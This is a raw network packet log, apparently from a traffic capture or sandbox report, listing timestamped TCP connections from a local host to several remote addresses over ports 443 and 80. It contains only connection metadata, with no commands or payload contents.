Nov 12, 2024 06:23:21.024709940 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.024723053 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.028290033 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.028362989 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.028532982 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.028575897 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.028575897 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.028593063 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.028603077 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.030344963 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.030354023 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.030596972 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.030695915 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.030704975 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.035783052 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.035799980 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.035852909 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.035860062 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.035907984 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.036000967 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.036009073 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.036017895 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.036020994 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.036236048 CET	49743	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.036240101 CET	443	49743	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.037765026 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.037774086 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.038058996 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.038150072 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.038162947 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.085743904 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.086023092 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.086093903 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.086792946 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.086792946 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.086808920 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.086817980 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.091242075 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.091264963 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.091449022 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.094917059 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.094927073 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.748821974 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.749371052 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.766729116 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.773087025 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.797472954 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.797487020 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.813097954 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.821424961 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.828718901 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.875605106 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.966717005 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.966728926 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.967505932 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.967509985 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.967863083 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.967880011 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.968535900 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.968540907 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:21.968933105 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:21.968945026 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.000082970 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.000092030 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.001164913 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.001204967 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.001902103 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.001912117 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.002310991 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.002322912 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.002820015 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.002825022 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.092698097 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.092751980 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.092802048 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.097773075 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.097789049 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.097800970 CET	49748	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.097805977 CET	443	49748	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.102991104 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.103044987 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.103092909 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.112373114 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.112373114 CET	49746	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.112390041 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.112397909 CET	443	49746	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.113818884 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.113852024 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.113909006 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.117702007 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.117716074 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.124821901 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.124840021 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.124902010 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.125080109 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.125088930 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.127885103 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.128074884 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.128089905 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.128132105 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.128510952 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.128552914 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.143112898 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.143129110 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.143140078 CET	49745	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.143145084 CET	443	49745	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.144195080 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.144198895 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.144207954 CET	49747	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.144211054 CET	443	49747	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.153968096 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.154014111 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.154053926 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.155630112 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.155630112 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.155636072 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.155642033 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.164489985 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.164499998 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.164550066 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.167026997 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.167051077 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.167145014 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.171072006 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.171081066 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.171392918 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.171406031 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.172913074 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.172947884 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.172996044 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.173212051 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.173227072 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.859019995 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.869247913 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.900511980 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.900866032 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.902502060 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:22.905611038 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.922460079 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.953716040 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.953732014 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:22.953742027 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.018930912 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.018940926 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.020179987 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.020184040 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.023761988 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.023761988 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.023771048 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.023783922 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.032058954 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.032063007 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.035726070 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.035729885 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.119484901 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.119498968 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.120253086 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.120258093 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.120933056 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.120934010 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.120975971 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.120992899 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.146776915 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.146819115 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.146912098 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.148812056 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.148885012 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.149075031 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.162750959 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.162847042 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.162972927 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.174722910 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.174722910 CET	49751	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.174737930 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.174745083 CET	443	49751	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.194339037 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.194353104 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.194385052 CET	49752	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.194391012 CET	443	49752	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.203654051 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.203654051 CET	49749	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.203660965 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.203669071 CET	443	49749	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.246800900 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.246850967 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.247139931 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.248481035 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.248548031 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.248621941 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.343774080 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.343774080 CET	49753	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.343817949 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.343831062 CET	443	49753	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.343975067 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.343985081 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.344017029 CET	49750	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.344022989 CET	443	49750	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.586577892 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.586607933 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.586765051 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.631678104 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.631691933 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.679167032 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:23.679208994 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:23.679277897 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:23.679943085 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:23.679960012 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:23.747711897 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.747725010 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.747872114 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.811816931 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.811832905 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.895767927 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.895804882 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.895844936 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.895873070 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.895900011 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.899816036 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.913765907 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.913784981 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.914001942 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.945382118 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.945410013 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.948018074 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.948039055 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:23.959861994 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:23.959872961 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.368366003 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.537286043 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.558897018 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.602122068 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.665731907 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.705136061 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.745999098 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.750371933 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.773420095 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.795950890 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.795988083 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.796654940 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.796663046 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.800275087 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.800291061 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.800376892 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:24.800972939 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.800976992 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.801515102 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.801532030 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.802158117 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.802162886 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.805381060 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.805391073 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.805937052 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.805944920 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.891381979 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:24.891405106 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.892643929 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.892656088 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.892712116 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:24.927139997 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.927280903 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.927335978 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.928785086 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.928838968 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.928885937 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.929851055 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.940884113 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.940936089 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.960496902 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:24.960673094 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.960885048 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:24.960911036 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:24.961641073 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.962136984 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.962189913 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.987329006 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.987345934 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.988168001 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.988173962 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.988320112 CET	49762	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.988326073 CET	443	49762	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.988512993 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.988523006 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:24.988533020 CET	49756	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:24.988538027 CET	443	49756	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.002484083 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:25.099353075 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.099363089 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.099371910 CET	49765	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.099376917 CET	443	49765	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.100465059 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.100502968 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.100518942 CET	49763	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.100527048 CET	443	49763	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.112473011 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.112585068 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.112643003 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.204049110 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:25.266618013 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.266625881 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.266674995 CET	49764	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.266679049 CET	443	49764	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.291937113 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:25.292037964 CET	443	49759	94.245.104.56	192.168.2.5
Nov 12, 2024 06:23:25.292098045 CET	49759	443	192.168.2.5	94.245.104.56
Nov 12, 2024 06:23:25.307543039 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.307559967 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.307873964 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.312593937 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.312604904 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.339039087 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.339101076 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.339190960 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.340898991 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.340912104 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.340976954 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.349216938 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.349267006 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.351610899 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.351649046 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.351723909 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.352051020 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.352065086 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.353070974 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.353080034 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.353167057 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.353730917 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.353740931 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.356935978 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:25.356945038 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:25.743880033 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:25.743949890 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.809345961 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:25.809391975 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:25.809516907 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:25.810663939 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:25.810678005 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:25.932229996 CET	49735	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.932516098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.937187910 CET	80	49735	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:25.937304974 CET	80	49779	185.215.113.206	192.168.2.5
